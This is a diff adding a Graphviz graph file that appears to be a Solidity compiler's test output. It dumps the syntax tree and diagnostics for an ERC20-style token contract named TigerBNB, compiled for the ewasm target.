+	alloc_array_793 [label="alloc array string\ninitializer: 45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373\ntests/contract_testcases/ewasm/comment_tests.sol:673:38-76"]
+	number_literal_794 [label="uint32 literal: 36\ntests/contract_testcases/ewasm/comment_tests.sol:673:38-76"]
+	expr_795 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:674:9-77"]
+	builtins_796 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:674:9-16"]
+	not_797 [label="not\ntests/contract_testcases/ewasm/comment_tests.sol:674:25-27"]
+	equal_798 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:674:25-27"]
+	variable_799 [label="variable: spender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:674:17-24"]
+	number_literal_800 [label="address literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:674:28-38"]
+	alloc_array_801 [label="alloc array string\ninitializer: 45524332303a20617070726f766520746f20746865207a65726f2061646472657373\ntests/contract_testcases/ewasm/comment_tests.sol:674:40-76"]
+	number_literal_802 [label="uint32 literal: 34\ntests/contract_testcases/ewasm/comment_tests.sol:674:40-76"]
+	expr_803 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:675:9-44"]
+	assign_804 [label="assign\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:675:36-37"]
+	subscript_805 [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:675:9-35"]
+	subscript_806 [label="subscript mapping(address => mapping(address => uint256)) storage\ntests/contract_testcases/ewasm/comment_tests.sol:675:9-26"]
+	storage_var_807 [label="storage variable\nTigerBNB._allowance\nmapping(address => mapping(address => uint256)) storage\ntests/contract_testcases/ewasm/comment_tests.sol:675:9-19"]
+	variable_808 [label="variable: owner\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:675:20-25"]
+	variable_809 [label="variable: spender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:675:27-34"]
+	variable_810 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:675:38-44"]
+	emit_811 [label="emit\nevent IERC20.Approval\ntests/contract_testcases/ewasm/comment_tests.sol:676:9-46"]
+	variable_812 [label="variable: owner\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:676:23-28"]
+	variable_813 [label="variable: spender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:676:30-37"]
+	variable_814 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:676:39-45"]
+	diagnostic [label="pragma ‘solidity’ is ignored\nlevel Debug\ntests/contract_testcases/ewasm/comment_tests.sol:10:3-11:24"]
+	diagnostic_817 [label="found interface ‘IERC20’\nlevel Debug\ntests/contract_testcases/ewasm/comment_tests.sol:16:5-17:12"]
+	diagnostic_818 [label="found library ‘SafeMath’\nlevel Debug\ntests/contract_testcases/ewasm/comment_tests.sol:71:1-72:18"]
+	diagnostic_819 [label="found abstract contract ‘Context’\nlevel Debug\ntests/contract_testcases/ewasm/comment_tests.sol:152:1-153:27"]
+	diagnostic_820 [label="found library ‘Address’\nlevel Debug\ntests/contract_testcases/ewasm/comment_tests.sol:168:1-169:17"]
+	diagnostic_821 [label="found contract ‘Ownable’\nlevel Debug\ntests/contract_testcases/ewasm/comment_tests.sol:302:1-303:28"]
+	diagnostic_822 [label="‘internal’: visibility for constructors is ignored\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:321:9-17"]
+	diagnostic_823 [label="found contract ‘TigerBNB’\nlevel Debug\ntests/contract_testcases/ewasm/comment_tests.sol:374:1-375:46"]
+	diagnostic_824 [label="‘public’: visibility for constructors is ignored\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:417:5-11"]
+	diagnostic_825 [label="conversion truncates uint256 to uint128, as value is type uint128 on target ewasm\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:195:50-56"]
+	diagnostic_826 [label="conversion truncates uint256 to uint128, as value is type uint128 on target ewasm\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:276:70-78"]
+	diagnostic_827 [label="function parameter ‘weiValue‘ has never been read\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:268:17-25"]
+	diagnostic_828 [label="function parameter ‘errorMessage‘ has never been read\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:269:23-35"]
+	diagnostic_829 [label="inline assembly is not yet supported\nlevel Error\ntests/contract_testcases/ewasm/comment_tests.sol:179:9-183:10"]
+	diagnostic_830 [label="inline assembly is not yet supported\nlevel Error\ntests/contract_testcases/ewasm/comment_tests.sol:287:17-290:18"]
+	diagnostic_831 [label="storage variable ‘_isExcluded‘ has never been used\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:386:9-61"]
+	diagnostic_832 [label="storage variable ‘MAX‘ has been assigned, but never read\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:390:9-51"]
+	diagnostic_833 [label="storage variable ‘burnrepeat‘ has been assigned, but never read\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:408:5-44"]
+	diagnostic_834 [label="storage variable ‘_tFeeTotal‘ has never been used\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:410:5-31"]
+	diagnostic_835 [label="storage variable ‘damada‘ has been assigned, but never read\nlevel Warning\ntests/contract_testcases/ewasm/comment_tests.sol:522:5-27"]
+	events -> Transfer
+	events -> Approval
+	events -> OwnershipTransferred
+	contracts -> contract
+	contract -> balanceOf [label="function"]
+	balanceOf -> parameters [label="parameters"]
+	balanceOf -> returns [label="returns"]
+	contract -> totalSupply [label="function"]
+	totalSupply -> returns_10 [label="returns"]
+	contract -> transfer [label="function"]
+	transfer -> parameters_12 [label="parameters"]
+	transfer -> returns_13 [label="returns"]
+	contract -> allowance [label="function"]
+	allowance -> parameters_15 [label="parameters"]
+	allowance -> returns_16 [label="returns"]
+	contract -> approve [label="function"]
+	approve -> parameters_18 [label="parameters"]
+	approve -> returns_19 [label="returns"]
+	contract -> transferFrom [label="function"]
+	transferFrom -> parameters_21 [label="parameters"]
+	transferFrom -> returns_22 [label="returns"]
+	contracts -> contract_23
+	contract_23 -> add [label="function"]
+	add -> parameters_25 [label="parameters"]
+	add -> returns_26 [label="returns"]
+	add -> var_decl [label="body"]
+	var_decl -> add_28 [label="init"]
+	add_28 -> variable [label="left"]
+	add_28 -> variable_30 [label="right"]
+	var_decl -> expr [label="next"]
+	expr -> builtins [label="expr"]
+	builtins -> more_equal [label="arg #0"]
+	more_equal -> variable_34 [label="left"]
+	more_equal -> variable_35 [label="right"]
+	builtins -> alloc_array [label="arg #1"]
+	alloc_array -> number_literal [label="length"]
+	expr -> return [label="next"]
+	return -> variable_39 [label="expr"]
+	contract_23 -> sub [label="function"]
+	sub -> parameters_41 [label="parameters"]
+	sub -> returns_42 [label="returns"]
+	sub -> return_43 [label="body"]
+	return_43 -> call_internal_function [label="expr"]
+	call_internal_function -> internal_function [label="function"]
+	call_internal_function -> variable_46 [label="arg #0"]
+	call_internal_function -> variable_47 [label="arg #1"]
+	call_internal_function -> alloc_array_48 [label="arg #2"]
+	alloc_array_48 -> number_literal_49 [label="length"]
+	contract_23 -> sub_50 [label="function"]
+	sub_50 -> parameters_51 [label="parameters"]
+	sub_50 -> returns_52 [label="returns"]
+	sub_50 -> expr_53 [label="body"]
+	expr_53 -> builtins_54 [label="expr"]
+	builtins_54 -> less_equal [label="arg #0"]
+	less_equal -> variable_56 [label="left"]
+	less_equal -> variable_57 [label="right"]
+	builtins_54 -> variable_58 [label="arg #1"]
+	expr_53 -> var_decl_59 [label="next"]
+	var_decl_59 -> subtract [label="init"]
+	subtract -> variable_61 [label="left"]
+	subtract -> variable_62 [label="right"]
+	var_decl_59 -> return_63 [label="next"]
+	return_63 -> variable_64 [label="expr"]
+	contract_23 -> mul [label="function"]
+	mul -> parameters_66 [label="parameters"]
+	mul -> returns_67 [label="returns"]
+	mul -> if [label="body"]
+	if -> equal [label="cond"]
+	equal -> variable_70 [label="left"]
+	equal -> number_literal_71 [label="right"]
+	if -> return_72 [label="then"]
+	return_72 -> number_literal_73 [label="expr"]
+	if -> var_decl_74 [label="next"]
+	var_decl_74 -> multiply [label="init"]
+	multiply -> variable_76 [label="left"]
+	multiply -> variable_77 [label="right"]
+	var_decl_74 -> expr_78 [label="next"]
+	expr_78 -> builtins_79 [label="expr"]
+	builtins_79 -> equal_80 [label="arg #0"]
+	equal_80 -> divide [label="left"]
+	divide -> variable_82 [label="left"]
+	divide -> variable_83 [label="right"]
+	equal_80 -> variable_84 [label="right"]
+	builtins_79 -> alloc_array_85 [label="arg #1"]
+	alloc_array_85 -> number_literal_86 [label="length"]
+	expr_78 -> return_87 [label="next"]
+	return_87 -> variable_88 [label="expr"]
+	contract_23 -> div [label="function"]
+	div -> parameters_90 [label="parameters"]
+	div -> returns_91 [label="returns"]
+	div -> return_92 [label="body"]
+	return_92 -> call_internal_function_93 [label="expr"]
+	call_internal_function_93 -> internal_function_94 [label="function"]
+	call_internal_function_93 -> variable_95 [label="arg #0"]
+	call_internal_function_93 -> variable_96 [label="arg #1"]
+	call_internal_function_93 -> alloc_array_97 [label="arg #2"]
+	alloc_array_97 -> number_literal_98 [label="length"]
+	contract_23 -> div_99 [label="function"]
+	div_99 -> parameters_100 [label="parameters"]
+	div_99 -> returns_101 [label="returns"]
+	div_99 -> expr_102 [label="body"]
+	expr_102 -> builtins_103 [label="expr"]
+	builtins_103 -> more [label="arg #0"]
+	more -> variable_105 [label="left"]
+	more -> number_literal_106 [label="right"]
+	builtins_103 -> variable_107 [label="arg #1"]
+	expr_102 -> var_decl_108 [label="next"]
+	var_decl_108 -> divide_109 [label="init"]
+	divide_109 -> variable_110 [label="left"]
+	divide_109 -> variable_111 [label="right"]
+	var_decl_108 -> return_112 [label="next"]
+	return_112 -> variable_113 [label="expr"]
+	contract_23 -> Mdos [label="function"]
+	Mdos -> parameters_115 [label="parameters"]
+	Mdos -> returns_116 [label="returns"]
+	Mdos -> return_117 [label="body"]
+	return_117 -> call_internal_function_118 [label="expr"]
+	call_internal_function_118 -> internal_function_119 [label="function"]
+	call_internal_function_118 -> variable_120 [label="arg #0"]
+	call_internal_function_118 -> variable_121 [label="arg #1"]
+	call_internal_function_118 -> alloc_array_122 [label="arg #2"]
+	alloc_array_122 -> number_literal_123 [label="length"]
+	contract_23 -> Mdos_124 [label="function"]
+	Mdos_124 -> parameters_125 [label="parameters"]
+	Mdos_124 -> returns_126 [label="returns"]
+	Mdos_124 -> expr_127 [label="body"]
+	expr_127 -> builtins_128 [label="expr"]
+	builtins_128 -> not [label="arg #0"]
+	not -> equal_130 [label="expr"]
+	equal_130 -> variable_131 [label="left"]
+	equal_130 -> number_literal_132 [label="right"]
+	builtins_128 -> variable_133 [label="arg #1"]
+	expr_127 -> return_134 [label="next"]
+	return_134 -> modulo [label="expr"]
+	modulo -> variable_136 [label="left"]
+	modulo -> variable_137 [label="right"]
+	contracts -> contract_138
+	contract_138 -> _msgSender [label="function"]
+	_msgSender -> returns_140 [label="returns"]
+	_msgSender -> return_141 [label="body"]
+	return_141 -> builtins_142 [label="expr"]
+	contract_138 -> _msgData [label="function"]
+	_msgData -> returns_144 [label="returns"]
+	_msgData -> expr_145 [label="body"]
+	expr_145 -> builtins_146 [label="expr"]
+	expr_145 -> return_147 [label="next"]
+	return_147 -> builtins_148 [label="expr"]
+	contracts -> contract_149
+	contract_149 -> isContract [label="function"]
+	isContract -> parameters_151 [label="parameters"]
+	isContract -> returns_152 [label="returns"]
+	isContract -> var_decl_153 [label="body"]
+	var_decl_153 -> var_decl_154 [label="next"]
+	var_decl_154 -> number_literal_155 [label="init"]
+	var_decl_154 -> inline_assembly [label="next"]
+	inline_assembly -> yul_assignment [label="statement #0"]
+	yul_assignment -> solidity_variable [label="rhs #0"]
+	yul_assignment -> yul_builtin_call [label="lhs"]
+	yul_builtin_call -> solidity_variable_160 [label="arg #0"]
+	inline_assembly -> return_161 [label="next"]
+	return_161 -> logical_and [label="expr"]
+	logical_and -> not_163 [label="left"]
+	not_163 -> equal_164 [label="expr"]
+	equal_164 -> variable_165 [label="left"]
+	equal_164 -> variable_166 [label="right"]
+	logical_and -> not_167 [label="right"]
+	not_167 -> equal_168 [label="expr"]
+	equal_168 -> variable_169 [label="left"]
+	equal_168 -> number_literal_170 [label="right"]
+	contract_149 -> sendValue [label="function"]
+	sendValue -> parameters_172 [label="parameters"]
+	sendValue -> expr_173 [label="body"]
+	expr_173 -> builtins_174 [label="expr"]
+	builtins_174 -> more_equal_175 [label="arg #0"]
+	more_equal_175 -> sign_ext [label="left"]
+	sign_ext -> builtins_177 [label="expr"]
+	builtins_177 -> cast [label="arg #0"]
+	cast -> builtins_179 [label="expr"]
+	more_equal_175 -> variable_180 [label="right"]
+	builtins_174 -> alloc_array_181 [label="arg #1"]
+	alloc_array_181 -> number_literal_182 [label="length"]
+	expr_173 -> destructure [label="next"]
+	destructure -> param [label="arg #0"]
+	destructure -> none [label="arg #1"]
+	destructure -> call_external_function [label="expr"]
+	call_external_function -> variable_187 [label="address"]
+	call_external_function -> alloc_array_188 [label="args"]
+	alloc_array_188 -> number_literal_189 [label="length"]
+	call_external_function -> trunc [label="value"]
+	trunc -> variable_191 [label="expr"]
+	destructure -> expr_192 [label="next"]
+	expr_192 -> builtins_193 [label="expr"]
+	builtins_193 -> variable_194 [label="arg #0"]
+	builtins_193 -> alloc_array_195 [label="arg #1"]
+	alloc_array_195 -> number_literal_196 [label="length"]
+	contract_149 -> functionCall [label="function"]
+	functionCall -> parameters_198 [label="parameters"]
+	functionCall -> returns_199 [label="returns"]
+	functionCall -> return_200 [label="body"]
+	return_200 -> call_internal_function_201 [label="expr"]
+	call_internal_function_201 -> internal_function_202 [label="function"]
+	call_internal_function_201 -> variable_203 [label="arg #0"]
+	call_internal_function_201 -> variable_204 [label="arg #1"]
+	call_internal_function_201 -> alloc_array_205 [label="arg #2"]
+	alloc_array_205 -> number_literal_206 [label="length"]
+	contract_149 -> functionCall_207 [label="function"]
+	functionCall_207 -> parameters_208 [label="parameters"]
+	functionCall_207 -> returns_209 [label="returns"]
+	functionCall_207 -> return_210 [label="body"]
+	return_210 -> call_internal_function_211 [label="expr"]
+	call_internal_function_211 -> internal_function_212 [label="function"]
+	call_internal_function_211 -> variable_213 [label="arg #0"]
+	call_internal_function_211 -> variable_214 [label="arg #1"]
+	call_internal_function_211 -> number_literal_215 [label="arg #2"]
+	call_internal_function_211 -> variable_216 [label="arg #3"]
+	contract_149 -> functionCallWithValue [label="function"]
+	functionCallWithValue -> parameters_218 [label="parameters"]
+	functionCallWithValue -> returns_219 [label="returns"]
+	functionCallWithValue -> return_220 [label="body"]
+	return_220 -> call_internal_function_221 [label="expr"]
+	call_internal_function_221 -> internal_function_222 [label="function"]
+	call_internal_function_221 -> variable_223 [label="arg #0"]
+	call_internal_function_221 -> variable_224 [label="arg #1"]
+	call_internal_function_221 -> variable_225 [label="arg #2"]
+	call_internal_function_221 -> alloc_array_226 [label="arg #3"]
+	alloc_array_226 -> number_literal_227 [label="length"]
+	contract_149 -> functionCallWithValue_228 [label="function"]
+	functionCallWithValue_228 -> parameters_229 [label="parameters"]
+	functionCallWithValue_228 -> returns_230 [label="returns"]
+	functionCallWithValue_228 -> expr_231 [label="body"]
+	expr_231 -> builtins_232 [label="expr"]
+	builtins_232 -> more_equal_233 [label="arg #0"]
+	more_equal_233 -> sign_ext_234 [label="left"]
+	sign_ext_234 -> builtins_235 [label="expr"]
+	builtins_235 -> cast_236 [label="arg #0"]
+	cast_236 -> builtins_237 [label="expr"]
+	more_equal_233 -> variable_238 [label="right"]
+	builtins_232 -> alloc_array_239 [label="arg #1"]
+	alloc_array_239 -> number_literal_240 [label="length"]
+	expr_231 -> return_241 [label="next"]
+	return_241 -> call_internal_function_242 [label="expr"]
+	call_internal_function_242 -> internal_function_243 [label="function"]
+	call_internal_function_242 -> variable_244 [label="arg #0"]
+	call_internal_function_242 -> variable_245 [label="arg #1"]
+	call_internal_function_242 -> variable_246 [label="arg #2"]
+	call_internal_function_242 -> variable_247 [label="arg #3"]
+	contract_149 -> _functionCallWithValue [label="function"]
+	_functionCallWithValue -> parameters_249 [label="parameters"]
+	_functionCallWithValue -> returns_250 [label="returns"]
+	_functionCallWithValue -> expr_251 [label="body"]
+	expr_251 -> builtins_252 [label="expr"]
+	builtins_252 -> call_internal_function_253 [label="arg #0"]
+	call_internal_function_253 -> internal_function_254 [label="function"]
+	call_internal_function_253 -> variable_255 [label="arg #0"]
+	builtins_252 -> alloc_array_256 [label="arg #1"]
+	alloc_array_256 -> number_literal_257 [label="length"]
+	expr_251 -> destructure_258 [label="next"]
+	destructure_258 -> param_259 [label="arg #0"]
+	destructure_258 -> param_260 [label="arg #1"]
+	destructure_258 -> call_external_function_261 [label="expr"]
+	call_external_function_261 -> variable_262 [label="address"]
+	call_external_function_261 -> variable_263 [label="args"]
+	call_external_function_261 -> trunc_264 [label="value"]
+	trunc_264 -> variable_265 [label="expr"]
+	destructure_258 -> if_266 [label="next"]
+	if_266 -> variable_267 [label="cond"]
+	if_266 -> return_268 [label="then"]
+	return_268 -> variable_269 [label="expr"]
+	if_266 -> if_270 [label="else"]
+	if_270 -> more_271 [label="cond"]
+	more_271 -> builtins_272 [label="left"]
+	builtins_272 -> variable_273 [label="arg #0"]
+	more_271 -> number_literal_274 [label="right"]
+	if_270 -> inline_assembly_275 [label="then"]
+	inline_assembly_275 -> yul_var_decl [label="statement #0"]
+	yul_var_decl -> var_decl_item [label="decl item #0"]
+	yul_var_decl -> yul_builtin_call_278 [label="init"]
+	yul_builtin_call_278 -> solidity_variable_279 [label="arg #0"]
+	yul_var_decl -> yul_builtin_call_280 [label="statement #1"]
+	yul_builtin_call_280 -> yul_builtin_call_281 [label="arg #0"]
+	yul_builtin_call_281 -> yul_number_literal [label="arg #0"]
+	yul_builtin_call_281 -> solidity_variable_283 [label="arg #1"]
+	yul_builtin_call_280 -> yul_variable [label="arg #1"]
+	if_270 -> expr_285 [label="else"]
+	expr_285 -> builtins_286 [label="expr"]
+	builtins_286 -> variable_287 [label="arg #0"]
+	contracts -> contract_288
+	contract_288 -> base [label="base"]
+	contract_288 -> var [label="variable"]
+	contract_288 -> var_291 [label="variable"]
+	contract_288 -> var_292 [label="variable"]
+	var_292 -> number_literal_293 [label="initializer"]
+	contract_288 -> node_294 [label="constructor"]
+	node_294 -> var_decl_295 [label="body"]
+	var_decl_295 -> cast_296 [label="init"]
+	cast_296 -> call_internal_function_297 [label="expr"]
+	call_internal_function_297 -> internal_function_298 [label="function"]
+	var_decl_295 -> expr_299 [label="next"]
+	expr_299 -> assign [label="expr"]
+	assign -> storage_var [label="left"]
+	assign -> variable_302 [label="right"]
+	expr_299 -> emit [label="next"]
+	emit -> number_literal_304 [label="arg #0"]
+	emit -> variable_305 [label="arg #1"]
+	contract_288 -> owner [label="function"]
+	owner -> returns_307 [label="returns"]
+	owner -> return_308 [label="body"]
+	return_308 -> storage_load [label="expr"]
+	storage_load -> storage_var_310 [label="expr"]
+	contract_288 -> onlyOwner [label="modifier"]
+	onlyOwner -> expr_312 [label="body"]
+	expr_312 -> builtins_313 [label="expr"]
+	builtins_313 -> equal_314 [label="arg #0"]
+	equal_314 -> storage_load_315 [label="left"]
+	storage_load_315 -> storage_var_316 [label="expr"]
+	equal_314 -> cast_317 [label="right"]
+	cast_317 -> call_internal_function_318 [label="expr"]
+	call_internal_function_318 -> internal_function_319 [label="function"]
+	builtins_313 -> alloc_array_320 [label="arg #1"]
+	alloc_array_320 -> number_literal_321 [label="length"]
+	expr_312 -> underscore [label="next"]
+	contract_288 -> onlyOwners [label="modifier"]
+	onlyOwners -> expr_324 [label="body"]
+	expr_324 -> builtins_325 [label="expr"]
+	builtins_325 -> equal_326 [label="arg #0"]
+	equal_326 -> storage_load_327 [label="left"]
+	storage_load_327 -> storage_var_328 [label="expr"]
+	equal_326 -> cast_329 [label="right"]
+	cast_329 -> call_internal_function_330 [label="expr"]
+	call_internal_function_330 -> internal_function_331 [label="function"]
+	expr_324 -> underscore_332 [label="next"]
+	contract_288 -> transfer_333 [label="function"]
+	transfer_333 -> parameters_334 [label="parameters"]
+	transfer_333 -> expr_335 [label="body"]
+	expr_335 -> builtins_336 [label="expr"]
+	builtins_336 -> equal_337 [label="arg #0"]
+	equal_337 -> variable_338 [label="left"]
+	equal_337 -> number_literal_339 [label="right"]
+	builtins_336 -> alloc_array_340 [label="arg #1"]
+	alloc_array_340 -> number_literal_341 [label="length"]
+	expr_335 -> expr_342 [label="next"]
+	expr_342 -> assign_343 [label="expr"]
+	assign_343 -> storage_var_344 [label="left"]
+	assign_343 -> variable_345 [label="right"]
+	contract_288 -> renounceOwnership [label="function"]
+	renounceOwnership -> expr_347 [label="body"]
+	expr_347 -> assign_348 [label="expr"]
+	assign_348 -> storage_var_349 [label="left"]
+	assign_348 -> storage_load_350 [label="right"]
+	storage_load_350 -> storage_var_351 [label="expr"]
+	contracts -> contract_352
+	contract_352 -> base_353 [label="base"]
+	contract_352 -> base_354 [label="base"]
+	contract_352 -> base_355 [label="base"]
+	contract_352 -> var_356 [label="variable"]
+	contract_352 -> var_357 [label="variable"]
+	contract_352 -> var_358 [label="variable"]
+	contract_352 -> var_359 [label="variable"]
+	contract_352 -> var_360 [label="variable"]
+	contract_352 -> var_361 [label="variable"]
+	var_361 -> complement [label="initializer"]
+	complement -> number_literal_363 [label="expr"]
+	contract_352 -> var_364 [label="variable"]
+	var_364 -> multiply_365 [label="initializer"]
+	multiply_365 -> number_literal_366 [label="left"]
+	multiply_365 -> power [label="right"]
+	power -> number_literal_368 [label="left"]
+	power -> number_literal_369 [label="right"]
+	contract_352 -> var_370 [label="variable"]
+	var_370 -> number_literal_371 [label="initializer"]
+	contract_352 -> var_372 [label="variable"]
+	var_372 -> number_literal_373 [label="initializer"]
+	contract_352 -> var_374 [label="variable"]
+	var_374 -> number_literal_375 [label="initializer"]
+	contract_352 -> var_376 [label="variable"]
+	var_376 -> bool_literal [label="initializer"]
+	contract_352 -> var_378 [label="variable"]
+	var_378 -> number_literal_379 [label="initializer"]
+	contract_352 -> var_380 [label="variable"]
+	contract_352 -> var_381 [label="variable"]
+	contract_352 -> var_382 [label="variable"]
+	contract_352 -> var_383 [label="variable"]
+	contract_352 -> var_384 [label="variable"]
+	contract_352 -> var_385 [label="variable"]
+	contract_352 -> using [label="base"]
+	contract_352 -> using_387 [label="base"]
+	contract_352 -> node_388 [label="constructor"]
+	node_388 -> expr_389 [label="body"]
+	expr_389 -> assign_390 [label="expr"]
+	assign_390 -> storage_var_391 [label="left"]
+	assign_390 -> cast_392 [label="right"]
+	cast_392 -> call_internal_function_393 [label="expr"]
+	call_internal_function_393 -> internal_function_394 [label="function"]
+	expr_389 -> expr_395 [label="next"]
+	expr_395 -> assign_396 [label="expr"]
+	assign_396 -> subscript [label="left"]
+	subscript -> storage_var_398 [label="array"]
+	subscript -> cast_399 [label="index"]
+	cast_399 -> call_internal_function_400 [label="expr"]
+	call_internal_function_400 -> internal_function_401 [label="function"]
+	assign_396 -> storage_load_402 [label="right"]
+	storage_load_402 -> storage_var_403 [label="expr"]
+	expr_395 -> expr_404 [label="next"]
+	expr_404 -> assign_405 [label="expr"]
+	assign_405 -> storage_var_406 [label="left"]
+	assign_405 -> number_literal_407 [label="right"]
+	expr_404 -> expr_408 [label="next"]
+	expr_408 -> assign_409 [label="expr"]
+	assign_409 -> storage_var_410 [label="left"]
+	assign_409 -> alloc_array_411 [label="right"]
+	alloc_array_411 -> number_literal_412 [label="length"]
+	expr_408 -> expr_413 [label="next"]
+	expr_413 -> assign_414 [label="expr"]
+	assign_414 -> storage_var_415 [label="left"]
+	assign_414 -> alloc_array_416 [label="right"]
+	alloc_array_416 -> number_literal_417 [label="length"]
+	expr_413 -> expr_418 [label="next"]
+	expr_418 -> assign_419 [label="expr"]
+	assign_419 -> subscript_420 [label="left"]
+	subscript_420 -> storage_var_421 [label="array"]
+	subscript_420 -> call_internal_function_422 [label="index"]
+	call_internal_function_422 -> internal_function_423 [label="function"]
+	assign_419 -> bool_literal_424 [label="right"]
+	expr_418 -> expr_425 [label="next"]
+	expr_425 -> assign_426 [label="expr"]
+	assign_426 -> subscript_427 [label="left"]
+	subscript_427 -> storage_var_428 [label="array"]
+	subscript_427 -> cast_429 [label="index"]
+	cast_429 -> builtins_430 [label="expr"]
+	assign_426 -> bool_literal_431 [label="right"]
+	expr_425 -> emit_432 [label="next"]
+	emit_432 -> number_literal_433 [label="arg #0"]
+	emit_432 -> cast_434 [label="arg #1"]
+	cast_434 -> call_internal_function_435 [label="expr"]
+	call_internal_function_435 -> internal_function_436 [label="function"]
+	emit_432 -> storage_load_437 [label="arg #2"]
+	storage_load_437 -> storage_var_438 [label="expr"]
+	contract_352 -> name [label="function"]
+	name -> returns_440 [label="returns"]
+	name -> return_441 [label="body"]
+	return_441 -> storage_load_442 [label="expr"]
+	storage_load_442 -> storage_var_443 [label="expr"]
+	contract_352 -> symbol [label="function"]
+	symbol -> returns_445 [label="returns"]
+	symbol -> return_446 [label="body"]
+	return_446 -> storage_load_447 [label="expr"]
+	storage_load_447 -> storage_var_448 [label="expr"]
+	contract_352 -> decimals [label="function"]
+	decimals -> returns_450 [label="returns"]
+	decimals -> return_451 [label="body"]
+	return_451 -> storage_load_452 [label="expr"]
+	storage_load_452 -> storage_var_453 [label="expr"]
+	contract_352 -> balanceOf_454 [label="function"]
+	balanceOf_454 -> parameters_455 [label="parameters"]
+	balanceOf_454 -> returns_456 [label="returns"]
+	balanceOf_454 -> return_457 [label="body"]
+	return_457 -> storage_load_458 [label="expr"]
+	storage_load_458 -> subscript_459 [label="expr"]
+	subscript_459 -> storage_var_460 [label="array"]
+	subscript_459 -> variable_461 [label="index"]
+	contract_352 -> totalSupply_462 [label="function"]
+	totalSupply_462 -> returns_463 [label="returns"]
+	totalSupply_462 -> return_464 [label="body"]
+	return_464 -> storage_load_465 [label="expr"]
+	storage_load_465 -> storage_var_466 [label="expr"]
+	contract_352 -> transfer_467 [label="function"]
+	transfer_467 -> parameters_468 [label="parameters"]
+	transfer_467 -> returns_469 [label="returns"]
+	transfer_467 -> if_470 [label="body"]
+	if_470 -> logical_or [label="cond"]
+	logical_or -> storage_load_472 [label="left"]
+	storage_load_472 -> subscript_473 [label="expr"]
+	subscript_473 -> storage_var_474 [label="array"]
+	subscript_473 -> cast_475 [label="index"]
+	cast_475 -> call_internal_function_476 [label="expr"]
+	call_internal_function_476 -> internal_function_477 [label="function"]
+	logical_or -> storage_load_478 [label="right"]
+	storage_load_478 -> subscript_479 [label="expr"]
+	subscript_479 -> storage_var_480 [label="array"]
+	subscript_479 -> variable_481 [label="index"]
+	if_470 -> expr_482 [label="then"]
+	expr_482 -> call_internal_function_483 [label="expr"]
+	call_internal_function_483 -> internal_function_484 [label="function"]
+	call_internal_function_483 -> cast_485 [label="arg #0"]
+	cast_485 -> call_internal_function_486 [label="expr"]
+	call_internal_function_486 -> internal_function_487 [label="function"]
+	call_internal_function_483 -> variable_488 [label="arg #1"]
+	call_internal_function_483 -> variable_489 [label="arg #2"]
+	expr_482 -> return_490 [label="next"]
+	return_490 -> bool_literal_491 [label="expr"]
+	if_470 -> var_decl_492 [label="next"]
+	var_decl_492 -> call_internal_function_493 [label="init"]
+	call_internal_function_493 -> internal_function_494 [label="function"]
+	call_internal_function_493 -> call_internal_function_495 [label="arg #0"]
+	call_internal_function_495 -> internal_function_496 [label="function"]
+	call_internal_function_495 -> variable_497 [label="arg #0"]
+	call_internal_function_495 -> storage_load_498 [label="arg #1"]
+	storage_load_498 -> storage_var_499 [label="expr"]
+	call_internal_function_493 -> number_literal_500 [label="arg #1"]
+	var_decl_492 -> var_decl_501 [label="next"]
+	var_decl_501 -> call_internal_function_502 [label="init"]
+	call_internal_function_502 -> internal_function_503 [label="function"]
+	call_internal_function_502 -> call_internal_function_504 [label="arg #0"]
+	call_internal_function_504 -> internal_function_505 [label="function"]
+	call_internal_function_504 -> variable_506 [label="arg #0"]
+	call_internal_function_504 -> storage_load_507 [label="arg #1"]
+	storage_load_507 -> storage_var_508 [label="expr"]
+	call_internal_function_502 -> number_literal_509 [label="arg #1"]
+	var_decl_501 -> expr_510 [label="next"]
+	expr_510 -> call_internal_function_511 [label="expr"]
+	call_internal_function_511 -> internal_function_512 [label="function"]
+	call_internal_function_511 -> cast_513 [label="arg #0"]
+	cast_513 -> call_internal_function_514 [label="expr"]
+	call_internal_function_514 -> internal_function_515 [label="function"]
+	call_internal_function_511 -> storage_load_516 [label="arg #1"]
+	storage_load_516 -> storage_var_517 [label="expr"]
+	call_internal_function_511 -> variable_518 [label="arg #2"]
+	expr_510 -> expr_519 [label="next"]
+	expr_519 -> call_internal_function_520 [label="expr"]
+	call_internal_function_520 -> internal_function_521 [label="function"]
+	call_internal_function_520 -> cast_522 [label="arg #0"]
+	cast_522 -> call_internal_function_523 [label="expr"]
+	call_internal_function_523 -> internal_function_524 [label="function"]
+	call_internal_function_520 -> storage_load_525 [label="arg #1"]
+	storage_load_525 -> storage_var_526 [label="expr"]
+	call_internal_function_520 -> variable_527 [label="arg #2"]
+	expr_519 -> expr_528 [label="next"]
+	expr_528 -> call_internal_function_529 [label="expr"]
+	call_internal_function_529 -> internal_function_530 [label="function"]
+	call_internal_function_529 -> cast_531 [label="arg #0"]
+	cast_531 -> call_internal_function_532 [label="expr"]
+	call_internal_function_532 -> internal_function_533 [label="function"]
+	call_internal_function_529 -> variable_534 [label="arg #1"]
+	call_internal_function_529 -> call_internal_function_535 [label="arg #2"]
